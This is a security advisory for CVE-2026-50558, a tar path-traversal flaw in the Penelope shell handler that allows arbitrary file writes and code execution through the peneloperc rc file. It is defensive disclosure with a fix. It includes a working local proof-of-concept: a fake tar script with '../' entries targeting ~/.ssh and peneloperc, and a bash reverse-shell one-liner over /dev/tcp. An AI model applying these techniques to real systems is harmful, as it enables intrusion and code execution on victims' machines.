CVE-2026-50558

Penelope versions prior to 0.19.3 extracted tar archives received from remote sessions without validating archive member paths. When using the affected Unix download path, a malicious or compromised remote session could return a crafted tar archive containing path traversal entries, such as ../, causing files to be written outside the intended download directory on the Penelope operator's machine.

The impact is limited to files writable by the user running Penelope. In some cases, this arbitrary file write could be chained to operator-side code execution if the attacker can overwrite a file that Penelope or the user later executes, such as ~/.penelope/peneloperc. The issue has been fixed in version 0.19.3 by rejecting unsafe archive paths during extraction.

Affected conditions

The issue requires the operator to use the Main Menu download command to download files from a malicious or compromised remote session that can influence the tar archive returned to Penelope. The Python agent download path is not affected in the same way because it does not rely on the remote tar command.

The vulnerable behavior is related to Python's historical tarfile extraction defaults. In Python versions before 3.14, TarFile.extractall() did not use the safer data extraction filter by default, so applications extracting untrusted tar archives needed to explicitly provide a safe extraction filter or perform their own path validation.

Python 3.14 changes the default extraction behavior to use the data filter, which rejects dangerous archive features such as absolute paths and paths outside the destination directory. Penelope 0.19.3 now performs explicit validation/rejection of unsafe archive paths so the fix does not depend on the Python runtime version.

Details

The vulnerable code is in the Unix download() implementation.

Penelope creates a local download directory:

local_download_folder = self.directory / "downloads"

Later, it opens a tar archive received from the remote session:

tar = tarfile.open(mode=mode, fileobj=tar_source)

Then it extracts all members without validating archive paths:

tar.extractall(local_download_folder)

Because member names are trusted, a malicious tar archive can contain paths such as:

../../../../../home/operator/.penelope/peneloperc

This escapes the intended local_download_folder and writes to an arbitrary path writable by the Penelope operator.

The same extraction block also suppresses Python's DeprecationWarning around unsafe tar extraction:

with warnings.catch_warnings():
    warnings.simplefilter("ignore", category=DeprecationWarning)
    tar.extractall(local_download_folder)

The file-write impact can be chained with Penelope's rc loading behavior:

def load_rc():
    RC = Path(options.basedir / "peneloperc")
    try:
        with open(RC, "r") as rc:
            exec(rc.read(), globals())

By default, options.basedir is ~/.penelope, so the executed rc file is:

~/.penelope/peneloperc

Since session downloads are stored under ~/.penelope/sessions/<session>/downloads, a crafted tar member can traverse upward and plant or replace ~/.penelope/peneloperc. The planted Python code executes when Penelope starts again or when the operator runs reload.

PoC

The following reproduces the issue locally by simulating a malicious remote endpoint. The fake tar binary is placed first in PATH for the test shell, so when Penelope asks the remote session to run tar, the remote session returns a crafted archive with path traversal entries.

Start Penelope in Terminal 1:

penelope -p 4444 -U -C #No upgrade and session connection needed

Prepare the fake remote tar in Terminal 2:

mkdir -p /tmp/penelope-fakebin
mkdir -p "$HOME/.penelope" "$HOME/.ssh"
cp -f "$HOME/.penelope/peneloperc" /tmp/peneloperc.backup 2>/dev/null || true

cat > /tmp/penelope-fakebin/tar <<'EOF'
#!/usr/bin/env python3
import io
import os
import sys
import tarfile
import time

home = os.path.expanduser("~")
target_home = home.lstrip("/")

def add_file(tar, target, data):
    data = data.encode()
    info = tarfile.TarInfo(target)
    info.size = len(data)
    info.mode = 0o644
    info.mtime = int(time.time())
    tar.addfile(info, io.BytesIO(data))

with tarfile.open(mode="w:gz", fileobj=sys.stdout.buffer) as tar:
    add_file(tar, "../../../../../" + target_home + "/PENELOPE_CVE_PROOF.txt", "Penelope path traversal proof\n")
    add_file(tar, "../../../../../" + target_home + "/.ssh/PENELOPE_SSH_KEY.txt", "fake-demo-ssh_key-not-for-authentication\n")
    add_file(
        tar,
        "../../../../../" + target_home + "/.penelope/peneloperc",
        "open('/" + target_home + "/PENELOPE_RC_EXECUTED.txt', 'w').write('peneloperc executed via reload\\n')\n"
    )
EOF

chmod +x /tmp/penelope-fakebin/tar
touch /tmp/penelope_dummy

Connect the local test shell back to Penelope in Terminal 2:

PATH=/tmp/penelope-fakebin:$PATH bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'

In Terminal 1, inside Penelope, trigger the vulnerable download:

download /tmp/penelope_dummy

Verify in Terminal 3 that files were written outside the intended download directory:

cat "$HOME/PENELOPE_CVE_PROOF.txt"
cat "$HOME/.ssh/PENELOPE_SSH_KEY.txt"
grep PENELOPE_RC_EXECUTED "$HOME/.penelope/peneloperc"

Expected output includes:

Penelope path traversal proof
fake-demo-ssh_key-not-for-authentication
open('/home/<user>/PENELOPE_RC_EXECUTED.txt', 'w').write('peneloperc executed via reload\n')

In Terminal 1, inside Penelope, execute the planted rc line:

reload

Verify in Terminal 3 that peneloperc executed:

cat "$HOME/PENELOPE_RC_EXECUTED.txt"

Expected output:

peneloperc executed via reload

Cleanup:

rm -f "$HOME/PENELOPE_CVE_PROOF.txt"
rm -f "$HOME/.ssh/PENELOPE_SSH_KEY.txt"
rm -f "$HOME/PENELOPE_RC_EXECUTED.txt"
if [ -f /tmp/peneloperc.backup ]; then cp -f /tmp/peneloperc.backup "$HOME/.penelope/peneloperc"; else rm -f "$HOME/.penelope/peneloperc"; fi
rm -f /tmp/peneloperc.backup
rm -rf /tmp/penelope-fakebin
rm -f /tmp/penelope_dummy